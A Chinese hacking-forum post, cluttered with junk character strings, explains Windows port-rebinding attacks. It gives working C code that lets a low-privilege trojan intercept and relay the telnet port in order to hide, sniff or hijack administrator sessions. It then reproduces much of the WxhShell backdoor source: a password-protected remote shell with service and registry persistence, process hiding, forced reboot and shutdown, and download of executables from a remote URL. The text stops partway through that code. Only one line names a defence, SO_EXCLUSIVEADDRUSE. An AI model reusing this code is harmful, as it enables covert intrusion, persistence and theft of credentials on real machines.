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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6^ UQ{P1;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9 -7.4!]I  
~RdJP'YF-  
  saddr.sin_family = AF_INET; x>MrB  
-90qG"@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); D|`O8o?)  
[K_v,m]   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (6##\}L&9  
Th&-n%r9K  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8%-+@ \=  
3q7Z?1'o  
  这意味着什么?意味着可以进行如下的攻击: ]z5`!e)L  
Lo"w,p`n@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $-4OveS~B  
v5J% p4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C>\0 "}iD  
h>>KH*dQ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 " sh%8 <N  
9X<o8^V  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I9JiH,+  
o/ Z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 r 334E  
x3cno#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 fZM)>  
9a_B   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 # `}(x;ge  
Vgzw['L}  
  #include !*Hgl\t6a  
  #include M=vRy|TL  
  #include NCm>iEeY  
  #include    tuZA q;X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }O=QXIF5  
  int main() "`Y.N$M`k  
  { ~fL:pVp  
  WORD wVersionRequested; p6=L}L  
  DWORD ret; 4x8e~/  
  WSADATA wsaData; 1;O%8sp&  
  BOOL val; {J_1.uN=  
  SOCKADDR_IN saddr; !YJfP@"e6r  
  SOCKADDR_IN scaddr; =*K~U# uoC  
  int err; 3]Jl\<0  
  SOCKET s; 9ure:Dko(Y  
  SOCKET sc; j,@N0~D5  
  int caddsize; tl.I:A5L  
  HANDLE mt; k [6%+  
  DWORD tid;   $F> #1:=v<  
  wVersionRequested = MAKEWORD( 2, 2 ); sfLH[Q?  
  err = WSAStartup( wVersionRequested, &wsaData ); 3awh>1N2 W  
  if ( err != 0 ) { ;%u'w;sgq  
  printf("error!WSAStartup failed!\n"); Dw\)!,,i7U  
  return -1; 8=XfwwWHy<  
  } +n#kpi'T  
  saddr.sin_family = AF_INET;  U~%V;*|4  
   EbTjBq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i:8g3|JfMe  
XQI. z7F  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); n.}A :Z  
  saddr.sin_port = htons(23); {R`,iWV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RPH]@  
  { *Ru@F:  
  printf("error!socket failed!\n"); IP)?dnwG  
  return -1; 3I|&}+Z6  
  } 4}mp~AXy;z  
  val = TRUE; CHeU`!:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /$]#L%   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) p8yn? ~]^  
  { U%E6"Hg  
  printf("error!setsockopt failed!\n"); Dm=d   
  return -1; DyZe+,g;S  
  } =_(i#}"A  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Y8*k18~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Rg4'9I%B  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .23z\M8 -  
M\%LB}4M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) o: \&4z&=  
  { al{;]>W  
  ret=GetLastError(); WD"3W)!  
  printf("error!bind failed!\n"); 5f.G^A: _X  
  return -1; eh`sfH  
  } @y )'h]d  
  listen(s,2); #g)$m}tv?  
  while(1) HiTn5XNf  
  { :g1C,M~  
  caddsize = sizeof(scaddr); 3Thb0\<"  
  //接受连接请求 b{:c0z<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); z:m`  
  if(sc!=INVALID_SOCKET) UkO L7M  
  { '%JIc~LJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8H0d4~Wg  
  if(mt==NULL) `O:ecPD4M  
  { #2N']VP  
  printf("Thread Creat Failed!\n"); 2&L2G'  
  break; aD 33! :y  
  } D{b*,F:&@)  
  } -,;r %7T  
  CloseHandle(mt); U g 'y  
  } wi{qN___  
  closesocket(s); [^iQE  
  WSACleanup(); 6\8 lx|w  
  return 0; s)?=4zJ  
  }   P!;%DI!<b  
  DWORD WINAPI ClientThread(LPVOID lpParam) SV-M8Im73z  
  { QG~4 <zy  
  SOCKET ss = (SOCKET)lpParam; egOZ.oV  
  SOCKET sc; 1M%'Xe7  
  unsigned char buf[4096]; zn5U(>=c  
  SOCKADDR_IN saddr; T]&% KQ  
  long num; ~;m3i3D  
  DWORD val; ^TC<_]7  
  DWORD ret; -ahSFBZlg  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3['aK|qk.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    y">_$  
  saddr.sin_family = AF_INET; +/">]QJ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %t*_Rtz\o  
  saddr.sin_port = htons(23); L|O'X4"&_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %/b3G*$W  
  { $d<vPpJ3  
  printf("error!socket failed!\n"); Ek0zFnb[Gx  
  return -1; QKj8~l(  
  } b4l=Bg"  
  val = 100; SGuR-$U`)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D..dGh.MY  
  { '\v mm>  
  ret = GetLastError(); fjc8@S5x9j  
  return -1; AKKp-I5  
  } jm|x=s3}h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) --(e(tvf  
  { RnvPqNs  
  ret = GetLastError(); oCl $ 0x  
  return -1; QkEIV<T&)l  
  } z#$>f*b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) PL+j;V(<  
  { r2KfZ>tWg"  
  printf("error!socket connect failed!\n"); -vRZCIj!  
  closesocket(sc); x.=Np\#\G-  
  closesocket(ss); `s0`kp  
  return -1; RW4}n< 88  
  } '<Nhq_u{  
  while(1) TFIP>$*_C  
  { yvPcD5s5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ts+S>$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 m7GM1[?r  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 WFl, u!"A  
  num = recv(ss,buf,4096,0); A Th<=1  
  if(num>0) z.NJu q  
  send(sc,buf,num,0); D)XV{Wit  
  else if(num==0)  73:y&U  
  break; )oEHE7y  
  num = recv(sc,buf,4096,0); # :^aE|s  
  if(num>0) 4Nz@s^9  
  send(ss,buf,num,0); -?m"+mUP  
  else if(num==0) hJkP_( +J\  
  break; SN${cs%  
  } C}i1)   
  closesocket(ss); W@X/Z8.(  
  closesocket(sc); v;S_7#  
  return 0 ; 9 n(.v}  
  } k<bA\5K  
?3f-" K_r  
/(iq^  
========================================================== XXx]~m  
fyRSg B00$  
下边附上一个代码,,WXhSHELL Ia> 07av  
b7thu5  
========================================================== {LwV&u(  
K *<+K<Tp  
#include "stdafx.h" *%[L @WF  
2X:OS/  
#include <stdio.h> -y@# ^SrJ  
#include <string.h> 4pYscB  
#include <windows.h> nUp, %z[  
#include <winsock2.h> ~\UH`_83[  
#include <winsvc.h> Yqpe2II7  
#include <urlmon.h> n54}WGo>9  
e`N/3q7  
#pragma comment (lib, "Ws2_32.lib") OMl<=;^:|  
#pragma comment (lib, "urlmon.lib") yvQRr75  
3lkz:]SsE  
#define MAX_USER   100 // 最大客户端连接数 xsPY#  
#define BUF_SOCK   200 // sock buffer uBr^TM$k&  
#define KEY_BUFF   255 // 输入 buffer 5,i0QT"  
xI'sprNa_1  
#define REBOOT     0   // 重启 HDV@d^]-  
#define SHUTDOWN   1   // 关机 '@jP$6T&  
jcC "S qL  
#define DEF_PORT   5000 // 监听端口 uR;m<wPH,f  
d*M:P jG@  
#define REG_LEN     16   // 注册表键长度 C(4r>TNm  
#define SVC_LEN     80   // NT服务名长度 VL[}  
Wu{cE;t  
// 从dll定义API Rxl )[\A*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n7CwGN%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lhp.zl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^]{)gk8P~2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); []\=(Uc;  
dKG2f  
// wxhshell配置信息 q_J)68BR  
struct WSCFG {  qHU=X"rn  
  int ws_port;         // 监听端口 \$Jz26 -n  
  char ws_passstr[REG_LEN]; // 口令 ./Y5Vk#Rp\  
  int ws_autoins;       // 安装标记, 1=yes 0=no P+9%(S)L3  
  char ws_regname[REG_LEN]; // 注册表键名 IP#?$X  
  char ws_svcname[REG_LEN]; // 服务名 u0s25JY.%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q5kf-~Jx+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KtR*/<7IC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <i!:{'%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KF.d:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BEfP#h=hr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L/39<&W  
5s /fBS  
}; A9D vU)1  
-45xa$vv  
// default Wxhshell configuration 5[qCH(6  
struct WSCFG wscfg={DEF_PORT, 1kX>sajp~  
    "xuhuanlingzhe", (E*pM$  
    1, 0q !  
    "Wxhshell", ?'jRUfl   
    "Wxhshell", HZ_,f"22  
            "WxhShell Service", n _H]*~4F  
    "Wrsky Windows CmdShell Service", oMw#ROsvC  
    "Please Input Your Password: ", 3-%F)@n  
  1, ML)5nJD  
  "http://www.wrsky.com/wxhshell.exe", Z%_m<Nf8T  
  "Wxhshell.exe" ]b&"](A  
    }; vz87]InI  
zCuN 8  
// 消息定义模块 0v"h /  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [VL+X^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5GHW~q!Zo\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FN>ns,  
char *msg_ws_ext="\n\rExit."; usFhcU  
char *msg_ws_end="\n\rQuit."; K+F]a]kld  
char *msg_ws_boot="\n\rReboot..."; ywCF{rRd  
char *msg_ws_poff="\n\rShutdown..."; LQr+)wI  
char *msg_ws_down="\n\rSave to "; fRow@DI\  
i& phko}  
char *msg_ws_err="\n\rErr!"; 1dE |q{  
char *msg_ws_ok="\n\rOK!"; xnp5XhU  
k X1#+X  
char ExeFile[MAX_PATH]; }Q<c E$c  
int nUser = 0; &% infPI'  
HANDLE handles[MAX_USER]; #[<XN s!"  
int OsIsNt; :wcv,YoSG  
bS2)L4MQY  
SERVICE_STATUS       serviceStatus; $I$ B8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V`,tu `6  
!^h{7NmP[  
// 函数声明 l`V^d   
int Install(void); )LRso>iOO  
int Uninstall(void); Y`tv"v2  
int DownloadFile(char *sURL, SOCKET wsh); :tTP3 t5  
int Boot(int flag); aN,.pLe;  
void HideProc(void); 'v42QJ"{  
int GetOsVer(void); tl@n}   
int Wxhshell(SOCKET wsl); =eB^( !M  
void TalkWithClient(void *cs); ` yXJaTbo  
int CmdShell(SOCKET sock); J;mvD^`g  
int StartFromService(void); j_#oP  
int StartWxhshell(LPSTR lpCmdLine); q'zV9  
/bBFPrW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tAxS1<T4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,|Xibfw  
{ d*?O  
// 数据结构和表定义 sDF5  
SERVICE_TABLE_ENTRY DispatchTable[] = ~A-1x!YiU  
{ M<KWx'uV  
{wscfg.ws_svcname, NTServiceMain}, aplOo[  
{NULL, NULL} iAd3w6  
}; ^~65M/  
9D+B~8[SQ  
// 自我安装 O>~ozW &  
int Install(void) w<54mGMOLr  
{ Obl,Qa:5  
  char svExeFile[MAX_PATH]; '_`O&rbT  
  HKEY key; &|j^?ro6  
  strcpy(svExeFile,ExeFile); tXu_o6]  
-sqoE*K[8  
// 如果是win9x系统,修改注册表设为自启动 UwQyAD]Ht  
if(!OsIsNt) { jy kY8;4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8t$w/#'@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qEW3k),  
  RegCloseKey(key); :~gG]|F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E5EAk6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q n2X._`  
  RegCloseKey(key); 12bt\ h9  
  return 0; sfuA {c'v  
    } ]>%M%B  
  } XSDudL  
} x 8v2mnk  
else { I"Gr<?r  
m@2;9  
// 如果是NT以上系统,安装为系统服务 bFt$u]Yvo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y"o@?bny  
if (schSCManager!=0) QaAWO  
{ 'nR'o /!  
  SC_HANDLE schService = CreateService "7RnT3  
  ( Co%EJb"tk  
  schSCManager, 8G6[\P3fQ  
  wscfg.ws_svcname, 2TxHY|4  
  wscfg.ws_svcdisp, }-8ZSWog6f  
  SERVICE_ALL_ACCESS, WXgGB[x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {YoK63b$  
  SERVICE_AUTO_START, q=+AN</  
  SERVICE_ERROR_NORMAL, \as^z!<  
  svExeFile, 'GJ'Vli  
  NULL, p~!UE/V  
  NULL, fSL'+l3  
  NULL, FLE2]cL-  
  NULL, 8F#z)>q~  
  NULL ?~_[/  
  ); ,%uK^U.zk  
  if (schService!=0) = "N?v-  
  { [ {|868  
  CloseServiceHandle(schService); pMy];9SvW  
  CloseServiceHandle(schSCManager);  t R(Nko  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @9X+ BdQU  
  strcat(svExeFile,wscfg.ws_svcname); 'U8% !  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O 6}eV^y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2 &+Nr+P  
  RegCloseKey(key); ^o@N.+`&<  
  return 0; +l8`oQuG  
    } HAtf/E]  
  } JPq2C\Ka  
  CloseServiceHandle(schSCManager); wm<`0}  
} / ~\ I  
} m+7/ebj{A  
W? ^ ?Kx  
return 1; 2U Q&n`A  
} F=qG +T  
0zC mU)ng  
// 自我卸载 l2lyi  
int Uninstall(void) 6k@(7Mw8A  
{ e71dNL'$  
  HKEY key; btV Tt5  
nR2pqaKc  
if(!OsIsNt) { lz-t+LD@ST  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :w+2L4lGs  
  RegDeleteValue(key,wscfg.ws_regname); " Om4P|  
  RegCloseKey(key); \ O#6H5F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sPod)w?e  
  RegDeleteValue(key,wscfg.ws_regname); D')m8:>  
  RegCloseKey(key); w.2[Xx~  
  return 0; 9jC>OZ0s  
  } MS~|F^g  
} %9qG|A,cA  
} F6$QEiDu@  
else { J_H=GHMp}  
e~+VN4D&b>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oieZopYA  
if (schSCManager!=0) Up/s)8$.  
{ E7K(I ?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U fzA/  
  if (schService!=0) M&/([ >Q  
  { E Pgn2[z  
  if(DeleteService(schService)!=0) { !B#Lea  
  CloseServiceHandle(schService); x2M'!VK>n1  
  CloseServiceHandle(schSCManager); d;-/F b{4  
  return 0; 7 z#Xf  
  } }0 BKKU+  
  CloseServiceHandle(schService); a1 I"Sh  
  } M]RbaXZ9  
  CloseServiceHandle(schSCManager); p903 *F^[,  
} rpZ^R}B%*v  
} vj?6,Ae  
B"903 g 1  
return 1; ]sbj8  
} l?AWG&  
1$]hyC/f  
// 从指定url下载文件 Cqy)+x_OQ,  
int DownloadFile(char *sURL, SOCKET wsh) }z$_=v  
{ [It E+{U  
  HRESULT hr; 1syI%I1  
char seps[]= "/"; :k"VR,riF  
char *token; j%V95M% $  
char *file; =WYI|3~Cz  
char myURL[MAX_PATH]; *u|bmt  
char myFILE[MAX_PATH]; ?<l,a!V'6  
z'(][SB  
strcpy(myURL,sURL); J!5>8I(_wX  
  token=strtok(myURL,seps); )0Lno|l  
  while(token!=NULL) x2KIGG ^  
  { ;Rz+4<  
    file=token; ZMI!Sl  
  token=strtok(NULL,seps); 9AxeA2/X  
  } KqE5{ q  
`h:$3a:5  
GetCurrentDirectory(MAX_PATH,myFILE); J'%  
strcat(myFILE, "\\"); <DM /"^*  
strcat(myFILE, file); OjUZ-_J  
  send(wsh,myFILE,strlen(myFILE),0); B}(+\Q$I  
send(wsh,"...",3,0); [YsN c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2[#7YWs  
  if(hr==S_OK) (eOzntp8  
return 0; ,Qd;t  
else 4Hk eXS.  
return 1; <yxEGjm  
=xa:>Vh#  
} qNH= W?T8.  
$eI=5   
// 系统电源模块 Do3g^RD#  
int Boot(int flag) ZP]l%6\.  
{ K)z! e;r  
  HANDLE hToken; R`_RcHY:  
  TOKEN_PRIVILEGES tkp; 905%5\Y  
NJVAvq2E.  
  if(OsIsNt) { RwG@C|sG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^o*$OM7x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C_&-2Z  
    tkp.PrivilegeCount = 1; ?(up!3S'x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /]mfI&l+9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~ PO)>;  
if(flag==REBOOT) { jmDQKqEc|l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aWG7k#nE  
  return 0; Ed(6%kd  
} Y\Z.E ;  
else { rhLm2q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uh][qMyLM  
  return 0; ^ RS?y8  
} g.& n X/  
  } %LH~Im=  
  else { Spnshv8  
if(flag==REBOOT) { bpQ5B'9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r&u&$ "c  
  return 0; }bW"Z2^nB  
} !c;Z<@  
else { J`&*r;""V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3XCePA5z  
  return 0; (zVT{!z  
} v*Fr #I0U  
} * mzJ)4A  
v(=?ge YLo  
return 1; zNu>25/)(  
} [SFX;v!9  
9L$bJO-3  
// win9x进程隐藏模块 j J}3WJ  
void HideProc(void) pCE,l'Xa  
{ &.> 2@  
aSKLSl't`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s$V'|Pt  
  if ( hKernel != NULL )  8>}k5Qu  
  { WSt&?+Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x*Lm{c5+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u~WE} VC  
    FreeLibrary(hKernel); Ik4FVL8~  
  } hzT,0<nw  
~HW}Wik  
return; D8`dEB2|S  
} N^)\+*tf1  
d)_fI*:f  
// 获取操作系统版本 m0: IFE($  
int GetOsVer(void) QoGvjf3z  
{ W[+=_B  
  OSVERSIONINFO winfo; |>/T*zk<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *Zj2*e{Z9U  
  GetVersionEx(&winfo); ~^<ju6O'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9^DXw!  
  return 1; J=%(f1X<W  
  else 20Umjw.D  
  return 0; [VD)DO5  
} {Qe 7/ln!  
0|RFsJ"  
// 客户端句柄模块 [&tN(K9*  
int Wxhshell(SOCKET wsl) !\)9fOLs  
{ 9Y6Ear .W  
  SOCKET wsh; ?89K [D|  
  struct sockaddr_in client; TVkC pO,H  
  DWORD myID; sPu@t&$  
Dd3GdG@*~  
  while(nUser<MAX_USER) :`pgdn  
{ SuO@LroxTB  
  int nSize=sizeof(client); 7$z]oVbO'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =54"9*  
  if(wsh==INVALID_SOCKET) return 1; $.7Ov|  
1>KZ1Kf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h{J=Rq  
if(handles[nUser]==0) 0u3"$o'R  
  closesocket(wsh); 0q@U>#  
else Z=L~W,0'  
  nUser++; ]TE,N$X  
  }  QB/H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }JF,:g Lk  
?hz9]I/8  
  return 0; #@i1jZ  
} gcaXN6C  
ckglDhC  
// 关闭 socket )L,.K O  
void CloseIt(SOCKET wsh) Yv!r>\#0S  
{ U2lDTRt  
closesocket(wsh); Xy0KZ !  
nUser--; ZwC\n(_y  
ExitThread(0); */T.]^  
} MPexc5_  
m(CbMu  
// 客户端请求句柄 6 4fB$  
void TalkWithClient(void *cs) %[ Z[  
{ w 2o% {n\L  
<0P7NC:Ci  
  SOCKET wsh=(SOCKET)cs; wDL dmrB  
  char pwd[SVC_LEN]; <9BM%  
  char cmd[KEY_BUFF]; jt*VD>ji  
char chr[1]; l$>))cW!  
int i,j; J:N4F.o&K  
0~)_/yx?S  
  while (nUser < MAX_USER) { +&U{>?.u  
v>4kF _N  
if(wscfg.ws_passstr) { ]0 g$3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^:(:P9h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b <1k$0J6  
  //ZeroMemory(pwd,KEY_BUFF); nB8JdM2h{  
      i=0; % T2C0P  
  while(i<SVC_LEN) { bG'"l qn  
5bfd8C  
  // 设置超时 uB`H9  
  fd_set FdRead; S7I8BS[*v  
  struct timeval TimeOut; :k-(%E](  
  FD_ZERO(&FdRead); VSxls  
  FD_SET(wsh,&FdRead); cNd;qO0$  
  TimeOut.tv_sec=8; 4X()D {uR  
  TimeOut.tv_usec=0; IK /@j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !%1=|PX_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pejG%pJ  
m^9[k,;K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kW 7 $  
  pwd=chr[0]; ';CL;A;  
  if(chr[0]==0xd || chr[0]==0xa) { ? >\JX  
  pwd=0; B uv4&.Z}  
  break; ZjOUk;H?  
  } `;:zZ8*  
  i++; B?-~f^*,jG  
    } T##_?=22I  
09r0Rb  
  // 如果是非法用户,关闭 socket jOE~?{8m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `X=2Ff  
} ;)SWUXa;{  
Q)H1\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [h3y8O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r N.<S[  
P XH"%vVF  
while(1) { MV~-']2u  
^EG@tB $<  
  ZeroMemory(cmd,KEY_BUFF); 7p!w(N?s  
I1TzPe  
      // 自动支持客户端 telnet标准   =` %iv|>r0  
  j=0; _F"o0K!u  
  while(j<KEY_BUFF) { 'u%;5;%2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `4&a"`&$  
  cmd[j]=chr[0]; 9uRs@]i  
  if(chr[0]==0xa || chr[0]==0xd) { lwhVP$q}  
  cmd[j]=0; Z,? T`[4B  
  break; --32kuF&(  
  } !R`)S7!  
  j++; w|;kL{(W  
    } 7wm9S4+|  
e@GR[0~  
  // 下载文件 p?#cn   
  if(strstr(cmd,"http://")) { fFBD5q(n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c'678!r9 P  
  if(DownloadFile(cmd,wsh)) Za&.sg3RG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); us:V\V  
  else jW?siQO^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L'*P;z7<  
  } l$:.bwXXO  
  else { h /.^iT  
5z$>M3  
    switch(cmd[0]) { %U4w@jp  
  Ga%x(1U[&  
  // 帮助 ,z*-93H1  
  case '?': { ZgXn8O[a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YTtuR`  
    break; syseYt]  
  } Yy_o*Ozq  
  // 安装 z@_ 9.n]  
  case 'i': { T\Zq/Z\  
    if(Install()) |.s#m^"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RCS91[  
    else f a9n6uT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H,? )6pZ  
    break; H"_]Hq  
    } q*h1=H52  
  // 卸载 nhUL{ER  
  case 'r': { ^J([w~&  
    if(Uninstall()) uAWmg8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gEE6O%]g  
    else e-taBrl;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .hD 2g"  
    break; +>F #{b  
    } ,sM>{NK 9R  
  // 显示 wxhshell 所在路径 ,w+}Evp])  
  case 'p': { $p} /&  
    char svExeFile[MAX_PATH]; HfF4BQxm  
    strcpy(svExeFile,"\n\r"); #*g.hL<  
      strcat(svExeFile,ExeFile);  `#m>3  
        send(wsh,svExeFile,strlen(svExeFile),0); zeXMi:X  
    break; )ny,vcU]  
    } Rj/9\F3H  
  // 重启 T}?vp~./   
  case 'b': { w'Kc#2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OZw<YR  
    if(Boot(REBOOT)) 7\q_^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E rf$WPA  
    else { Cw=wU/)  
    closesocket(wsh); dXe. 5XC  
    ExitThread(0); iz2I4 _N  
    } UacGq,  
    break; Tz=YSQy$9  
    } }x[d]fcC  
  // 关机 Dm3/i |Y  
  case 'd': { 3,snx4q (  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pY3N7&m\:  
    if(Boot(SHUTDOWN)) (N etn&  
